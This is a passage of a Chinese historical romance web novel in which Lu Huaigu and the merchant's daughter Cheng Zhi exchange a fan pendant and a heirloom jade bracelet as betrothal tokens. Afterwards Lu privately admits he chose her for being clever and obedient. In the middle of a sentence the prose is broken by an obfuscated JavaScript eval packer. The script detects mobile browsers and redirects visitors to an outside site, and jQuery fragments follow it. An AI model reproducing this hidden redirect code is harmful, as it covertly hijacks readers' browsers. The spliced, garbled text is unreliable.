这一声轻唤,陆怀骰眼底最后那点郁闷完全消散,满意地轻“嗯”一声。见程知悄然发红的脸颊,这般罕见的娇羞模样,他竟觉得有些可爱。
雅间外的梳月焦急等待,左右踱步。
青松捧着金玉楼的糕点过来,轻声哄着,“梳月妹妹,我家公子又不是吃人的老虎,你不用担心。要是程掌柜待着不开心,她早就出来了。你看声音平静如常,肯定是谈得很投机,你尝尝刚出炉的糕点,别再累着你的退了。”
梳月急得不行,就是担心程知在里面受了欺负又不敢反抗。
她生气看着青松,敢怒不敢言。
青松也十分无奈,他何时受过这样的气?他奉命看好梳月,又不能动粗,只能这般低身下气哄着,“梳月妹妹,程掌柜在里面谈话,恐怕没那么快出来,你要不先找个地方坐下来歇一会?喝喝茶水,吃吃点心?免得饿坏了,还要程掌柜替你担心?”
想来梳月此刻在意的只有程知,青松故意以程知为由头,劝慰梳月坐下来休息,不必紧张。
果然,梳月一听到会引起程知担忧,立刻停下烦躁的脚步。
犹豫了片刻,她妥协了,随着青松到另一个精致的小房间休息。
临近午膳,侍者奉上菜单。
看陆怀骰示意,程知点了几道自己偏爱的菜式。
陆怀骰的目光却始终徘徊在她身上,见她点完,随口补充几道金玉楼的招牌菜。
侍者躬身退下,房门再次被合上,房间内又属于两人的独处时光。
雅间安静,弥漫着一丝难以言喻的气氛。
突然想起一事,程知从袖口拿出早已准备好的锦盒,轻轻放在桌上,缓缓推向陆怀骰方向。
陆怀骰诧异,没想到程知这么用心,还准备了礼物。他伸手,小心打开锦盒,是一块精致的扇坠。
扇坠造型古朴雅致,镶嵌着金黄色的宝石,盒子轻微转动,宝石亦然折射出光芒。细碎的星光格外耀眼,正奇怪这宝石格外熟悉,突然意识到这是价值连城的星坠芒。
他将扇坠托起,指腹小心摩擦着,触手生温,询问看向程知。
看到陆怀骰眼底的诧异,程知轻声解释,“你之前送来星坠芒让我做试验,试验的那套面饰已经送回陆府。切割时剩下些零碎,弃之可惜,我见你常随身携带一柄折扇,便想着做成这扇坠,谢你引荐入宫之恩。”
看着掌心这枚精致小巧的物件,陆怀骰稀罕得很,玩弄间嘴唇勾起一抹意味深长的笑意,修长的手指提起扇坠的丝绦,故意在两人视线之间晃了晃,声音带着明显的调侃,“这算什么?定情信物?”
明明只是一件普通的谢礼,在这样的情况下相赠,被陆怀骰用暧昧的语气和眼神解读出来,反倒多了一层暧昧旖旎的关系。
“不是。”程知羞愤反驳,伸手就要抢过陆怀骰手中扇坠。
陆怀骰眼疾手快,握住扇坠优雅往后撤,眼底的笑意更深,“送出去的东西,哪有要回去的道理?程掌柜怎么这般小气?”
程知咬着唇,羞愤看着陆怀骰。
只见陆怀骰悠哉看着椅背,拖长音说话,故意逗她,“不如,我另送你一个东西,作‘定情信物’交换?”
说完,陆怀骰起身转向身后的书案,那里有一个早已准备好的精致木匣子。动作看似随意,实则严肃地递给程知,“诺,打开看看。”
那是一个螺钿漆器首饰盒,仅凭盒子外观的材质和做工,便知道内里之物十分贵重。
程知迟疑了一会儿,才伸出双手,小心翼翼接过。
接手的瞬间,她感觉到了木匣子的厚重感,试探性看了一眼陆怀骰后,轻轻拨开鎏金扣子。
印入眼帘,是一支纯正赤色、均匀通透的玉镯。玉质细腻,透着雍容华贵的大气之美。
程知惊叹,她虽见过不少珍品,但如此极品的玉镯,属实不曾见过。
“这?”她错愕看着陆怀骰,此等贵重之物,她怎敢轻易收下?
“这原是我祖母给我母亲,交代我要给陆家下一任的当家主母,现在给你,正好。”陆怀骰早已料到程知的反应,将她的惊愕尽收眼底。从容坐在她身旁,看她还是不敢接受的迟疑,陆怀骰佯装调侃,“难不成,你不是真心要与我好?”
“不是。”程知脱口而出,再看陆怀骰眼神,意识到是他再为自己解围,不好再推辞。她轻笑后,郑重收下锦盒,“若你将来需取回之时,我随时奉还。”
程知并不认为,今日口头之约,将来一定会成。
她尚且与林景辞十几年的娃娃亲,还不是被她说退就退了?一年的时间很长,变数太多,万一陆怀骰等不了那么久,或者他在这期间遇上心仪的名门闺秀,这桩口头之约自然不作数。
若真到婚事取消之时,程知没有占着别人传家宝的道理。
她的考量本是出于理智和体面,然而这话落在陆怀骰耳中,听起来十分膈应。
那句轻描淡写的“随时奉还”,仿佛笃定他们之间不会有结果。不过,程知已经愿意收下锦盒,陆怀骰的目的达到。
这么一想,脸上那点不悦也随之消失,换上满意地笑容,他们的定情信物算是交换成功。
侍者送来各色吃食,菜色精致,香气四溢。
看着满桌珍馐,程知想起了门口还有梳月在等待,担心她等自己太久会焦急,“今日随我来的,还有一个小姑娘,她还在门外等我。”
“餐已齐备,请两位贵人慢用。”领头的侍者躬身退下,房间又陷入安静。
“你的侍女会有人照应,不必担心。”陆怀骰拿起碗,亲手为程知盛了一碗汤,送到她跟前。
哪敢劳烦陆怀骰亲手为她操劳?吓得程知起身接过汤碗,“多谢大人。”
大人?
陆怀骰皱着眉头听,暗道刚刚不是教了怎么称呼吗?这才过了多久就不记得了?不过,见程知因紧张而泛红的脸颊,见她一时难以适应这身份的转变,心头的火气又莫名消了些许。
一时半会改不过来,暂且给她点适应的时间。
程知低着头接过汤碗,没注意到陆怀骰突变严肃的表情。
两人原本的身份天差地别,突然的转变,程知一下子适应不了也是情有可原。
担心再给程知压力,陆怀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178386|180831||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
骰刻意放轻语气,“我素来不喜闲杂人等在旁伺候,有些小事,亲力亲为惯了。既已决定与你共度此生,为你盛一碗汤,是最寻常不过之事,你受得起。”
这一句,即是陆怀骰的解释,也是他对程知的承诺。
“嗯。”程知轻声应下。
好在陆怀骰后续没有再多“亲力亲为”的举动,这顿饭,程知虽有些心不在焉,但吃得还算顺利。
一顿饭后,程知以要回云鬓坊处理事务为由,准备离开。
陆怀骰并未挽留,只吩咐青松好生送她回去。
程知出了雅间,梳月立刻上前跟在程知身后,语气略带委屈,等那么久,可把她吓坏了,“小姐,您没事吧?”
“我没事,先回去吧。”程知没在这里多解释,带着梳月先离开。
等她们主仆走远,青梧才忍不住开口,“公子,您当真要和程家二小姐成婚?”
青梧想不明白,陆怀骰放着各家的名门闺秀不选,为何偏偏是这位根基尚浅、年岁又轻的皇商之女?再者,陆家家族关系复杂,程知不过十五六岁,让一个毫无根基的小姑娘去应对,无异于羊入虎口,她如何担得起陆氏宗妇的重任?
在程知离开后,陆怀骰脸上那点温和的笑意完全消散,取而代之的是疏离的冷漠。
他踱步至窗边,负手而立,背影透着一股生人勿近的孤傲,与方才同程知交谈时的模样判若两人,“她比其他人要聪明些,也要听话些。”
作为国公府嫡长子,陆怀骰继承家业是顺理成章之事。
然而,“成家”是他继承家业的前提。
他早过成亲的岁数,至今尚未娶妻纳妾,一则是警惕有心之人借联姻安插眼线;二则是他眼界极高,寻常闺秀难入其眼。
与其挑选那些心思深沉、背后牵扯无数利益的世家女,不如选择程知。程知心思通透,有几分小聪明,懂得审时度势,且背景相对简单,不会成为他棋盘上的变数。
至少,陆怀骰觉得,程知那张脸,看着还算顺眼。
出了金玉楼的程知走路都变得轻飘飘,手里捧着“沉甸甸”的锦盒。她手掌下意识摩擦着锦盒,锦盒上的纹路在提醒程知刚刚所发生的一切并非梦境。
惊叹之余,更感觉有点紧张。
与陆怀骰算不上熟识,但他能够轻易许诺“不纳妾不蓄婢无外室”,这让程知很难视而不见。
这是她曾经不敢奢望的东西,如今却摆在她面前,也因此牵引着她那颗悸动的心。
紧张且兴奋,一种难以言喻的心情缠绕着程知。
她深呼吸,硬着头皮抬头挺胸,告诉自己,“落子无悔,且行且看。”
金玉楼就在云鬓坊对面,程知与梳月很快回到云鬓坊。
梳月着急拉着程知回卧房,云岫见了觉得奇怪,悄悄跟上。
卧房内。
“小姐,刚刚您在里面,可吓死我了。”梳月着急查看程知十分手上。
她可还记得,之前程知就从陆怀骰身边路过,无缘无故挨了一扇子,淤青了好几天。如今跟着陆怀骰独处在雅间,指不定受了什么委屈都没人知道。